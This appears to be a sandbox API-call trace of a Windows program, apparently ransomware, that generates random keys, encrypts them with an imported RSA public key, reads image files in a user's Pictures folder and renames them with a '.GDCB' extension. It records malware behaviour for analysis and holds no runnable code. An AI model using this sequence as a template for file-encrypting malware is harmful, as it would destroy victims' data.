1 [0142.084] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.084] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.084] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.084] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.094] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0142.095] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.095] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.095] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0142.095] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.095] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed300) returned 1 [0142.097] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.097] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0142.097] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.097] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0142.101] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d300) returned 1 [0142.101] CryptGetKeyParam (in: hKey=0x37d300, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.101] CryptEncrypt (in: hKey=0x37d300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0142.101] GetLastError () returned 0x0 [0142.101] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.101] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0142.105] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d580) returned 1 [0142.105] CryptGetKeyParam (in: hKey=0x37d580, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.105] CryptEncrypt (in: hKey=0x37d580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0142.106] GetLastError () returned 0x0 [0142.106] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0142.106] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\gqOFi.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\gqofi.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.106] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.106] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.106] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x60e9, lpOverlapped=0x0) returned 1 [0142.118] VirtualAlloc (lpAddress=0x0, dwSize=0x60f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.121] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\gqOFi.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\gqofi.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\gqOFi.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\gqofi.gif.gdcb")) returned 1 [0142.122] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed300) returned 1 [0142.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.124] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0142.124] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.124] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0142.125] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.125] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.125] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0142.125] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.125] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed300) returned 1 [0142.129] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d400) returned 1 [0142.129] CryptGetKeyParam (in: hKey=0x37d400, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.129] CryptEncrypt (in: hKey=0x37d400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0142.129] GetLastError () returned 0x0 [0142.129] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.129] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed168) returned 1 [0142.133] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d5c0) returned 1 [0142.133] CryptGetKeyParam (in: hKey=0x37d5c0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.133] CryptEncrypt (in: hKey=0x37d5c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0142.133] GetLastError () returned 0x0 [0142.133] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0142.133] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\OukrMDnEpoe.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\oukrmdnepoe.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.133] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.133] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.133] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x6519, lpOverlapped=0x0) returned 1 [0142.147] VirtualAlloc (lpAddress=0x0, dwSize=0x6520, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.151] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\OukrMDnEpoe.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\oukrmdnepoe.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\OukrMDnEpoe.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\oukrmdnepoe.jpg.gdcb")) returned 1 [0142.151] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0142.153] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.153] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.153] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0142.153] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.153] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0142.154] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.154] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.154] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0142.154] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.154] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0142.158] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d140) returned 1 [0142.158] CryptGetKeyParam (in: hKey=0x37d140, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.158] CryptEncrypt (in: hKey=0x37d140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0142.158] GetLastError () returned 0x0 [0142.158] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.158] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0142.162] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d340) returned 1 [0142.162] CryptGetKeyParam (in: hKey=0x37d340, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.162] CryptEncrypt (in: hKey=0x37d340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0142.162] GetLastError () returned 0x0 [0142.162] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.162] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\RorB-_IDA6hQ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\rorb-_ida6hq.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.163] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.163] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.163] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x557e, lpOverlapped=0x0) returned 1 [0142.177] VirtualAlloc (lpAddress=0x0, dwSize=0x5580, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.181] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\RorB-_IDA6hQ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\rorb-_ida6hq.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\RorB-_IDA6hQ.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\rorb-_ida6hq.gif.gdcb")) returned 1 [0142.182] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0142.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.183] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.183] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0142.183] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.183] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0142.184] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.185] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.185] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0142.185] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.185] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0142.189] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d600) returned 1 [0142.189] CryptGetKeyParam (in: hKey=0x37d600, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.189] CryptEncrypt (in: hKey=0x37d600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0142.189] GetLastError () returned 0x0 [0142.189] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.189] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0142.193] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d480) returned 1 [0142.193] CryptGetKeyParam (in: hKey=0x37d480, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.193] CryptEncrypt (in: hKey=0x37d480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0142.193] GetLastError () returned 0x0 [0142.193] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.193] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\U53LX.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\u53lx.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.193] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.193] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.194] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x6a88, lpOverlapped=0x0) returned 1 [0142.203] VirtualAlloc (lpAddress=0x0, dwSize=0x6a90, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.207] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\U53LX.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\u53lx.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZgA4eFUdQ2ea\\U53LX.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zga4efudq2ea\\u53lx.gif.gdcb")) returned 1 [0142.208] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0142.209] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.209] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.209] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.209] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.209] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.210] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.210] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.210] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.216] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d0c0) returned 1 [0142.216] CryptGetKeyParam (in: hKey=0x37d0c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.216] CryptEncrypt (in: hKey=0x37d0c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.216] GetLastError () returned 0x0 [0142.216] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.216] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0142.221] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d180) returned 1 [0142.221] CryptGetKeyParam (in: hKey=0x37d180, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.221] CryptEncrypt (in: hKey=0x37d180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.221] GetLastError () returned 0x0 [0142.221] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.221] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZH eoon3PUL.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zh eoon3pul.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.222] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.222] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.222] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x15672, lpOverlapped=0x0) returned 1 [0142.234] VirtualAlloc (lpAddress=0x0, dwSize=0x15680, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.240] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZH eoon3PUL.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zh eoon3pul.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\ZH eoon3PUL.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\zh eoon3pul.jpg.gdcb")) returned 1 [0142.243] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0142.245] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.245] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0142.245] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.245] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0142.246] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.246] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.246] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0142.246] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.246] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0142.251] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x37d3c0) returned 1 [0142.251] CryptGetKeyParam (in: hKey=0x37d3c0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0142.251] CryptEncrypt (in: hKey=0x37d3c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0142.251] GetLastError () returned 0x0 [0142.251] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.251] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0142.255] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x37d500) returned 1 [0142.255] CryptGetKeyParam (in: hKey=0x37d500, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0142.255] CryptEncrypt (in: hKey=0x37d500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0142.256] GetLastError () returned 0x0 [0142.256] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.256] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ArQS.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\arqs.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0142.256] 